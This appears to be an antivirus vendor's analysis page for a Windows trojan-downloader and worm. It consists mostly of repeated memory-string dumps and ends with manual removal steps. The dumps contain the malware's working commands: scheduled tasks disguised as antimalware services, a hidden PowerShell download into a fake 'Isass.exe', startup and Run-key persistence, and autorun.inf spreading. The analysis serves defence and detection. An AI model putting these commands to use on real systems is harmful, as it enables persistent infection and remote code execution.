cOXY/P.Z0.0.QR00/ZPP0000000/0PPZR.BI@/DE0,
version="5.1.0.0"
name="Microsoft.Windows.AxInstaller.UI"
<requestedExecutionLevel
api-ms-win-core-synch-l1-2-0.dll
kernel32.dll
mscoree.dll
Assertion failed: %Ts, file %Ts, line %d
ext-ms-win-ntuser-windowstation-l1-1-0
portuguese-brazilian
combase.dll
advapi32.dll
Mozilla/5.0 (Windows NT 6.1) Rarog/5.0
Content-Type: application/x-www-form-urlencoded
Rarog.cpp
/Create /SC MINUTE /MO 30 /TN "Windows_Antimalware_Host" /TR "C:\ProgramData\WindowsAppCertification\checker.vbs" /F
schtasks.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers
SecurityHeaIthService.exe
SystemldleProcess.exe
winIogon.exe
Isass.exe
taskmgr.exe
C:\Windows\System32\cmd.exe
/c erase %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk
/delete /tn Windows_Antimalware_Host_Systm /f
/delete /tn Windows_Antimalware_Host /f
C:\ProgramData\WindowsAppCertification\*.*
/Create /SC MINUTE /MO 5 /TN "Windows_Antimalware_Host_Systm" /TR "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" /F
/c echo Set oWS = WScript.CreateObject("WScript.Shell") > CreateShortcut.vbs & echo sLinkFile = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk" >> CreateShortcut.vbs & echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs & echo oLink.TargetPath = "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" >> CreateShortcut.vbs & echo oLink.Save >> CreateShortcut.vbs & cscript CreateShortcut.vbs & del CreateShortcut.vbs
tC:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\*.*
/c taskkill /im Isass.exe /f & C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
Software\Microsoft\Windows
/c taskkill /im Isass.exe /f & erase C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe & RENAME C:\ProgramData\MicrosoftCorporation\Windows\System32\_Isass.exe Isass.exe & C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
10.0.15063.0 (WinBuild.160101.0800)
AxInstUI.exe
Windows
Operating System
10.0.15063.0
SystemldleProcess.exe_2724:
.text
`.rdata
@.data
.sdfds0
`.sdfds1
`.reloc
@.rsrc
j.Yf;
_tcPVj@
.PjRW
operation not permitted
address family not supported
broken pipe
function not supported
inappropriate io control operation
not supported
operation canceled
operation in progress
operation not supported
operation would block
protocol not supported
InitOnceExecuteOnce
operator
operator ""
operator co_await
GetProcessWindowStation
?#%X.y
%S#[k
MaxPolicyElementKey
pExecutionResource
C:\ProgramData\MicrosoftCorporation\Windows\Modules\
C:\ProgramData\MicrosoftCorporation\Windows\Modules
autorun.inf
autorun.exe
open = autorun.exe
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}\driver.dat
{EXE_NAME}
{EXE_PATH}
C:\ProgramData\WindowsAppCertification
WindowHelperStorageHostSystemThread.ps1
$furl = 'hXXp://
C:\ProgramData\WindowsAppCertification\
$path = 'C:\ProgramData\MicrosoftCorporation\Windows\System32\'
$fpath = $path 'Isass.exe'
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($furl,$fpath)
C:\ProgramData\WindowsAppCertification\checker.vbs
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "C:\ProgramData\WindowsAppCertification\cert.cmd",0
C:\ProgramData\WindowsAppCertification\cert.cmd
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoP -file C:\ProgramData\WindowsAppCertification\WindowHelperStorageHostSystemThread.ps1
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SecurityHeaIthService.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SystemldleProcess.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\winIogon.exe
C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}
C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\
C:\ProgramData\MicrosoftCorporation\Windows\System32\_Isass.exe
Software\Microsoft\Windows\CurrentVersion\Run
Windows_Antimalware_Host_Syst
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}
/c timeout 5 & taskkill /im Isass.exe /f & erase C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe & RMDIR /s/q "C:\ProgramData\MicrosoftCorporation" & exit
open_url
C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
C:\ProgramData\MicrosoftCorporation
C:\ProgramData\MicrosoftCorporation\Windows
C:\ProgramData\MicrosoftCorporation\Windows\System32
SELECT * FROM Win32_OperatingSystem
ntdll.dll
.?AVstl_condition_variable_concrt@details@Concurrency@@
.?AVstl_critical_section_concrt@details@Concurrency@@
.?AVunsupported_os@Concurrency@@
.?AVinvalid_operation@Concurrency@@
.?AUITopologyExecutionResource@Concurrency@@
.?AVinvalid_scheduler_policy_key@Concurrency@@
.?AVinvalid_oversubscribe_operation@Concurrency@@
.?AVExecutionResource@details@Concurrency@@
.?AUIExecutionResource@Concurrency@@
.?AUIExecutionContext@Concurrency@@
.?AU_Crt_new_delete@std@@
}4.mM3Y
-.VNt
C(b%D_
{o %f
TP0%dWG
.TqB3
.sn|3
)oh.xf
`.Bf;
k%2S["E
T%s_]
T5&%f
a.BAQ)5
u%u;$,
X%3U3
m.Rf3
5"%SQ
KERNEL32.dll
|&$
7:q.CU
U3.belg
N3.KH3R
WinHttpReceiveResponse
GetProcessHeap
%U8[3Y%
7%c'(S*
A.rp=
rr.Yv
n7%X%
WinHttpOpen
_m`>
%C&C(
w 9%c
Dx.YCBDe
[C.xD}[xE
/11p-b}
;Ù"
T?.LV
Xc.DV|
q0.ni
c_pN.xD
(u.YS
V%k%c
.Mk06
qcMD!
Qu.aH
^e.qcy
%fY0W
)`(%x
.nk&{v
zd.SF
^.FuS
5g%s0
BXt.PQV
O.XXw
ŸALAEO
.VuV`
Wc<%X
}z.ZB
!b,%c?
m.jF(
M%s02
.Dmo6
5EÂ:
.uOOQ!`{t
%f&Va
c3)J%F
.iLQ(x-))
g%sAv@
=È:
{0YWEBr
d~.qq|
3
vQ%D%
}v.Hu
Lg.TW;
/P2%c
l%Fn)
~l`.ML
=%5uIn
u.jCet
{0.pAN
WinHttpCloseHandle
RegOpenKeyExW
RegCloseKey
USER32.dll
20Óny@3
%X3E5$
%dS|#Z}A
RegOpenKeyExA
ShellExecuteW
%Cu3'
.msz:
WinHttpOpenRequest
WinHttpQueryDataAvailable
m{O33:\r3.kn
.Il$b
WinHttpSendRequest
Wk.JH
%.X?s?:8
.bS>mv
D.eP3
Ëmh
Pl_.Hn
N`r%f
.fPK=
-7}hI
SHFileOperationW
6Z.lg
.ZX[c
%s}$mT
WS2_32.dll
WINHTTP.dll
WinHttpReadData
GetCPInfo
SHELL32.dll
ole32.dll
WinHttpConnect
OLEAUT32.dll
ADVAPI32.dll
(7,7074787<7@7
cOXY/P.Z0.0.QR00/ZPP0000000/0PPZR.BI@/DE0,
version="5.1.0.0"
name="Microsoft.Windows.AxInstaller.UI"
<requestedExecutionLevel
api-ms-win-core-synch-l1-2-0.dll
kernel32.dll
mscoree.dll
Assertion failed: %Ts, file %Ts, line %d
ext-ms-win-ntuser-windowstation-l1-1-0
portuguese-brazilian
combase.dll
advapi32.dll
Mozilla/5.0 (Windows NT 6.1) Rarog/5.0
Content-Type: application/x-www-form-urlencoded
Rarog.cpp
/Create /SC MINUTE /MO 30 /TN "Windows_Antimalware_Host" /TR "C:\ProgramData\WindowsAppCertification\checker.vbs" /F
schtasks.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers
SecurityHeaIthService.exe
SystemldleProcess.exe
winIogon.exe
Isass.exe
taskmgr.exe
C:\Windows\System32\cmd.exe
/c erase %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk
/delete /tn Windows_Antimalware_Host_Systm /f
/delete /tn Windows_Antimalware_Host /f
C:\ProgramData\WindowsAppCertification\*.*
/Create /SC MINUTE /MO 5 /TN "Windows_Antimalware_Host_Systm" /TR "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" /F
/c echo Set oWS = WScript.CreateObject("WScript.Shell") > CreateShortcut.vbs & echo sLinkFile = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk" >> CreateShortcut.vbs & echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs & echo oLink.TargetPath = "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" >> CreateShortcut.vbs & echo oLink.Save >> CreateShortcut.vbs & cscript CreateShortcut.vbs & del CreateShortcut.vbs
tC:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\*.*
/c taskkill /im Isass.exe /f & C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
Software\Microsoft\Windows
/c taskkill /im Isass.exe /f & erase C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe & RENAME C:\ProgramData\MicrosoftCorporation\Windows\System32\_Isass.exe Isass.exe & C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
10.0.15063.0 (WinBuild.160101.0800)
AxInstUI.exe
Windows
Operating System
10.0.15063.0
winIogon.exe_948:
.text
`.rdata
@.data
.sdfds0
`.sdfds1
`.reloc
@.rsrc
j.Yf;
_tcPVj@
.PjRW
operation not permitted
address family not supported
broken pipe
function not supported
inappropriate io control operation
not supported
operation canceled
operation in progress
operation not supported
operation would block
protocol not supported
InitOnceExecuteOnce
operator
operator ""
operator co_await
GetProcessWindowStation
?#%X.y
%S#[k
MaxPolicyElementKey
pExecutionResource
C:\ProgramData\MicrosoftCorporation\Windows\Modules\
C:\ProgramData\MicrosoftCorporation\Windows\Modules
autorun.inf
autorun.exe
open = autorun.exe
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}\driver.dat
{EXE_NAME}
{EXE_PATH}
C:\ProgramData\WindowsAppCertification
WindowHelperStorageHostSystemThread.ps1
$furl = 'hXXp://
C:\ProgramData\WindowsAppCertification\
$path = 'C:\ProgramData\MicrosoftCorporation\Windows\System32\'
$fpath = $path 'Isass.exe'
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($furl,$fpath)
C:\ProgramData\WindowsAppCertification\checker.vbs
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "C:\ProgramData\WindowsAppCertification\cert.cmd",0
C:\ProgramData\WindowsAppCertification\cert.cmd
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoP -file C:\ProgramData\WindowsAppCertification\WindowHelperStorageHostSystemThread.ps1
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SecurityHeaIthService.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SystemldleProcess.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\winIogon.exe
C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}
C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\
C:\ProgramData\MicrosoftCorporation\Windows\System32\_Isass.exe
Software\Microsoft\Windows\CurrentVersion\Run
Windows_Antimalware_Host_Syst
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}
/c timeout 5 & taskkill /im Isass.exe /f & erase C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe & RMDIR /s/q "C:\ProgramData\MicrosoftCorporation" & exit
open_url
C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
C:\ProgramData\MicrosoftCorporation
C:\ProgramData\MicrosoftCorporation\Windows
C:\ProgramData\MicrosoftCorporation\Windows\System32
SELECT * FROM Win32_OperatingSystem
ntdll.dll
.?AVstl_condition_variable_concrt@details@Concurrency@@
.?AVstl_critical_section_concrt@details@Concurrency@@
.?AVunsupported_os@Concurrency@@
.?AVinvalid_operation@Concurrency@@
.?AUITopologyExecutionResource@Concurrency@@
.?AVinvalid_scheduler_policy_key@Concurrency@@
.?AVinvalid_oversubscribe_operation@Concurrency@@
.?AVExecutionResource@details@Concurrency@@
.?AUIExecutionResource@Concurrency@@
.?AUIExecutionContext@Concurrency@@
.?AU_Crt_new_delete@std@@
}4.mM3Y
-.VNt
C(b%D_
{o %f
TP0%dWG
.TqB3
.sn|3
)oh.xf
`.Bf;
k%2S["E
T%s_]
T5&%f
a.BAQ)5
u%u;$,
X%3U3
m.Rf3
5"%SQ
KERNEL32.dll
|&$
7:q.CU
U3.belg
N3.KH3R
WinHttpReceiveResponse
GetProcessHeap
%U8[3Y%
7%c'(S*
A.rp=
rr.Yv
n7%X%
WinHttpOpen
_m`>
%C&C(
w 9%c
Dx.YCBDe
[C.xD}[xE
/11p-b}
;Ù"
T?.LV
Xc.DV|
q0.ni
c_pN.xD
(u.YS
V%k%c
.Mk06
qcMD!
Qu.aH
^e.qcy
%fY0W
)`(%x
.nk&{v
zd.SF
^.FuS
5g%s0
BXt.PQV
O.XXw
ŸALAEO
.VuV`
Wc<%X
}z.ZB
!b,%c?
m.jF(
M%s02
.Dmo6
5EÂ:
.uOOQ!`{t
%f&Va
c3)J%F
.iLQ(x-))
g%sAv@
=È:
{0YWEBr
d~.qq|
3
vQ%D%
}v.Hu
Lg.TW;
/P2%c
l%Fn)
~l`.ML
=%5uIn
u.jCet
{0.pAN
WinHttpCloseHandle
RegOpenKeyExW
RegCloseKey
USER32.dll
20Óny@3
%X3E5$
%dS|#Z}A
RegOpenKeyExA
ShellExecuteW
%Cu3'
.msz:
WinHttpOpenRequest
WinHttpQueryDataAvailable
m{O33:\r3.kn
.Il$b
WinHttpSendRequest
Wk.JH
%.X?s?:8
.bS>mv
D.eP3
Ëmh
Pl_.Hn
N`r%f
.fPK=
-7}hI
SHFileOperationW
6Z.lg
.ZX[c
%s}$mT
WS2_32.dll
WINHTTP.dll
WinHttpReadData
GetCPInfo
SHELL32.dll
ole32.dll
WinHttpConnect
OLEAUT32.dll
ADVAPI32.dll
(7,7074787<7@7
cOXY/P.Z0.0.QR00/ZPP0000000/0PPZR.BI@/DE0,
version="5.1.0.0"
name="Microsoft.Windows.AxInstaller.UI"
<requestedExecutionLevel
api-ms-win-core-synch-l1-2-0.dll
kernel32.dll
mscoree.dll
Assertion failed: %Ts, file %Ts, line %d
ext-ms-win-ntuser-windowstation-l1-1-0
portuguese-brazilian
combase.dll
advapi32.dll
Mozilla/5.0 (Windows NT 6.1) Rarog/5.0
Content-Type: application/x-www-form-urlencoded
Rarog.cpp
/Create /SC MINUTE /MO 30 /TN "Windows_Antimalware_Host" /TR "C:\ProgramData\WindowsAppCertification\checker.vbs" /F
schtasks.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers
SecurityHeaIthService.exe
SystemldleProcess.exe
winIogon.exe
Isass.exe
taskmgr.exe
C:\Windows\System32\cmd.exe
/c erase %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk
/delete /tn Windows_Antimalware_Host_Systm /f
/delete /tn Windows_Antimalware_Host /f
C:\ProgramData\WindowsAppCertification\*.*
/Create /SC MINUTE /MO 5 /TN "Windows_Antimalware_Host_Systm" /TR "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" /F
/c echo Set oWS = WScript.CreateObject("WScript.Shell") > CreateShortcut.vbs & echo sLinkFile = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk" >> CreateShortcut.vbs & echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs & echo oLink.TargetPath = "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" >> CreateShortcut.vbs & echo oLink.Save >> CreateShortcut.vbs & cscript CreateShortcut.vbs & del CreateShortcut.vbs
tC:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\*.*
/c taskkill /im Isass.exe /f & C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
Software\Microsoft\Windows
/c taskkill /im Isass.exe /f & erase C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe & RENAME C:\ProgramData\MicrosoftCorporation\Windows\System32\_Isass.exe Isass.exe & C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
10.0.15063.0 (WinBuild.160101.0800)
AxInstUI.exe
Windows
Operating System
10.0.15063.0
svchost.exe_2368:
.text
`.data
.rsrc
@.reloc
msvcrt.dll
API-MS-Win-Core-ProcessThreads-L1-1-0.dll
KERNEL32.dll
NTDLL.DLL
API-MS-Win-Security-Base-L1-1-0.dll
API-MS-WIN-Service-Core-L1-1-0.dll
API-MS-WIN-Service-winsvc-L1-1-0.dll
RPCRT4.dll
ole32.dll
ntdll.dll
_amsg_exit
RegCloseKey
RegOpenKeyExW
GetProcessHeap
svchost.pdb
version="5.1.0.0"
name="Microsoft.Windows.Services.SvcHost"
<description>Host Process for Windows Services</description>
<requestedExecutionLevel
Software\Microsoft\Windows NT\CurrentVersion\Svchost
Software\Microsoft\Windows NT\CurrentVersion\MgdSvchost
\PIPE\
Host Process for Windows Services
6.1.7600.16385 (win7_rtm.090713-1255)
svchost.exe
Windows
Operating System
6.1.7600.16385
WerFault.exe_2444:
.text
`.data
.rsrc
@.reloc
ADVAPI32.dll
ntdll.DLL
KERNEL32.dll
USER32.dll
msvcrt.dll
ole32.dll
OLEAUT32.dll
SHLWAPI.dll
IMM32.dll
wer.dll
COMCTL32.dll
faultrep.dll
Starting kernel vertical - %S
rundll32.exe
NtQueryInformationProcess failed with status: 0x%x
Reporting never started for process id %u
StringCchPrintf failed with 0x%x
NtWow64QueryInformationProcess64 failed with 0x%x
NtWow64ReadVirtualMemory64 failed with 0x%x
NtQueryInformationProcess failed with status 0x%x
WerpNtWow64QueryInformationProcess64 failed with status 0x%x
StringCchCopy failed with 0x%x
Invalid arg in %s
wdi.dll
dbgeng.dll
dbghelp.dll
SETUPAPI.dll
SHELL32.dll
VERSION.dll
WTSAPI32.dll
WerFault.pdb
PSShD
tSSh,<
t.PSj6
t5SSh
SShx`
tsShxc
t.Ph0j
_amsg_exit
RegCloseKey
RegCreateKeyExW
RegOpenKeyExW
RegEnumKeyExW
RegQueryInfoKeyW
GetProcessHeap
GetWindowsDirectoryW
RegDeleteKeyW
ReportEventW
RegOpenKeyW
RegSetKeyValueW
GetProcessWindowStation
EnumWindows
NtAlpcSendWaitReceivePort
NtAlpcConnectPort
ShipAssert
ntdll.dll
RegisterErrorReportingDialog
WerReportSubmit
WerReportAddFile
WerReportCreate
WerReportCloseHandle
WerReportSetUIOption
WerpGetReportConsent
WerpSetIntegratorReportId
WerpReportCancel
WerpAddRegisteredDataToReport
WerReportAddDump
WerpCreateIntegratorReportId
WerpSetReportFlags
WerpGetReportFlags
WerpIsTransportAvailable
WerReportSetParameter
WerpInitiateCrashReporting
version="1.0.0.0"
name="Microsoft.Windows.Feedback.Watson"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
<asmv3:windowsSettings xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">
</asmv3:windowsSettings>
<requestedExecutionLevel
ÝCD0
#$$$3355<
##$$$335566
% "#$$$3355666=
"#$$33555666
!.DQ$
.Py>o
Kÿg
.ib:?
T3%X_
a,M.cbd
KEYW8
KEYWH
? ?$?(?,?0?4?8?
1 2$2(2,20242
>,?0?4?8?<?@?
?%?5?:?|?
5'565^5{5
3#3(353_3
=#='= =/=3=7=;=?=
=#=(=>=]=
>!>&>3>}>
1!1&131[1
Microsoft\Windows\WindowsErrorReporting\WerFault
%s %s
Global\WerKernelVerticalReporting
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl
CrashDumpEnabled.Old
CrashDumpEnabled.New
%SystemRoot%\MEMORY.DMP
LiveKernelReports
Software\Microsoft\Windows\Windows Error Reporting\LiveKernelReports
LiveKernelReportsPath
BCCode=%x&BCP1=%p&BCP2=%p&BCP3=%p&BCP4=%p&OS Version=%u_%u_%u&Service Pack=%u_%u&Product=%u_%u
*WerKernelReporting
%SYSTEMROOT%\SYSTEM32\WerFault.exe -k -rq
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
SOFTWARE\Microsoft\Windows\Windows Error Reporting\KernelFaults\Queue
sysdata.xml
%s -k -q
SOFTWARE\Microsoft\Windows NT\CurrentVersion
<OSVER>%u.%u.%u %u.%u</OSVER>
<OSLANGUAGE>%u</OSLANGUAGE>
<ARCHITECTURE>%u</ARCHITECTURE>
<PRODUCTTYPE>%u</PRODUCTTYPE>
<FILESIZE>%u</FILESIZE>
<CREATIONDATE>d-d-d d:d:d</CREATIONDATE>
<NAME>%s</NAME>
<DATA>%s</DATA>
<ERROR>Failed at Step: %s with error 0x%x</ERROR>
%sDrivers\%s.sys
</%s>
<%s>%s</%s>
%u.%u.%u.%u
*.mrk
WER-%u-%u.sysdata.xml
Software\Microsoft\Windows\CurrentVersion\CEIPRole\RolesInWER
SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability\MemoryDiagnostic
Web Server
Software\Microsoft\Windows\Windows Error Reporting\Debug
%SystemRoot%\Minidump
0xx (0xx, 0xx, 0xx, 0xx)
%s\%2.2d%2.2d%2.2d-%u-%2.2d.dmp
*.dmp
Software\Microsoft\Windows\Windows Error Reporting
Software\Policies\Microsoft\Windows\Windows Error Reporting
\KernelObjects\SystemErrorPortReady
%s\%s
Microsoft.Windows.Setup
\WindowsErrorReportingServicePort
(0x%x): %s
%u %s
WindowsNTVersion
%u.%u
ErrorPort
\StringFileInfo\xx\%s
HKEY_USERS\
HKEY_CURRENT_CONFIG\
HKEY_CLASSES_ROOT\
HKEY_LOCAL_MACHINE\
HKEY_CURRENT_USER\
%s="%s"
%s.%s
%s %d
Software\Microsoft\Windows\Windows Error Reporting\Hangs
_NT_EXECUTABLE_IMAGE_PATH
wxmu.dmp
wxhu.dmp
axmu.dmp
axhu.dmp
hu.kdmp
mu.kdmp
hu.dmp
mu.dmp
Software\Microsoft\.NETFramework
NOT_TCPIP
sos.dll
version.xml
.version.xml
%s.xml
memory.hdmp
minidump.mdmp
Local\WERReportingForProcess%d
atk.kdmp
Software\Microsoft\Windows\Windows Error Reporting\Hangs\NHRTimes
%i|%d|%d
xxxxxxxxxxxxxxxx
xx
%d.%d.%d.%d
D:P(A;;GA;;;BA)(A;;GA;;;SY)(A;;GA;;;%s)
D:P(A;;GA;;;BA)(A;;GA;;;SY)(A;;GA;;;%s)S:(ML;;NR;;;HI)
dc.noreflect
dc.xpmemdump
dc.xpdata
dc.CustomDump
dc.expmodmem
dc.expmoddata
dc.OnDemandKdmp
dc.xpmodmem
dc.xpmoddata
default=%s
memory=%s
module=%s
.dbgcfg.ini
ElevatedDataCollectionStatus.txt
Open process failed unexpectedly: 0X%X
Attempting to cross-proc reporting process!
Elevation:Administrator!new:%s
Reflection attempt failed: 0X%X
Attempting to reflect reporting process!
Could not collect dump for reflection cross process: 0x%x
Could not collect xproc for reflection: 0x%x
CollectFile for reflection failed: 0x%x
Could not collect dump for cross process: 0x%x
CollectReflectionDump failed with: 0x%x
0 processes found for xproc module: %s
Could not collect cross dump from module: 0x%x
CollectCrossProcessModuleDumps failed: 0x%x
CollectCrossProcessDumps failed: 0x%x
KernelDump failed: 0x%x
ProcessHandle
%s|%s
rpcrt4
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebugProtected\AutoExclusionList
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\AutoExclusionList
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebugProtected
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebug
sntdll.dll
WerDiagController.dll
Software\Microsoft\Windows\Windows Error Reporting\Plugins
Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
Software\Microsoft\Windows\Windows Error Reporting\Plugins\FDR\CurrentSession
%s\%s\%u-%u.etl
%s\%s\%u-%u.etl_%d
Microsoft\Windows\FDR
%s-%d
Software\Microsoft\Windows\Windows Error Reporting\Plugins\DriverVerifier
Software\Microsoft\Windows\Windows Error Reporting\Plugins\AppRecorder
%d-AppRecorderEnabled
%s /stop
psr.exe
Software\Microsoft\Windows\Windows Error Reporting\RuntimeExceptionHelperModules
verifier.dll
nVerifier.dll
Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s
Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
lsvchost.exe
"%s" "%s" "%s"
%s\system32\cofire.exe
psapi.dll
sfc_os.dll
werfault.exe
%s\%s-(PID-%u)-%u
%s\%s-(PID-%u).dmp
%s\*-(PID-*)-*
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\%s
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit
kernel32.dll
kernelbase.dll
ReportingMode
WinShipAssert
WindowsMessageReportingB1
Windows
ws2_32.dll
Software\Microsoft\SQMClient\%s\AdaptiveSqm\ManifestInfo
%s\Sqm%d.bin
CorporateWerPortNumber
BypassDataThrottling
Software\Microsoft\Windows\Windows Error Reporting\Consent
Windows Problem Reporting
6.1.7600.16385 (win7_rtm.090713-1255)
WerFault.exe
Windows
Operating System
6.1.7600.16385
Microsoft-Windows-WER-Diag/Operational
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
cscript.exe:3088
cscript.exe:1720
%original file name%.exe:4000 - Delete the original Trojan-Downloader file.
- Delete or disinfect the following files created/modified by the Trojan-Downloader:
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk (1 bytes)
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\winIogon.exe (14071 bytes)
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SecurityHeaIthService.exe (14071 bytes)
C:\ProgramData\WindowsAppCertification\checker.vbs (356 bytes)
C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\muxu.exe (415827 bytes)
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}\driver.dat (5 bytes)
C:\ProgramData\WindowsAppCertification\WindowHelperStorageHostSystemThread.ps1 (1358 bytes)
C:\ProgramData\WindowsAppCertification\cert.cmd (606 bytes)
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SystemldleProcess.exe (14071 bytes)
C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe (14071 bytes) - Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Windows_Antimalware_Host_Syst" = "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
- Reboot the computer.
*Manual removal may cause unexpected system behaviour and should be performed at your own risk.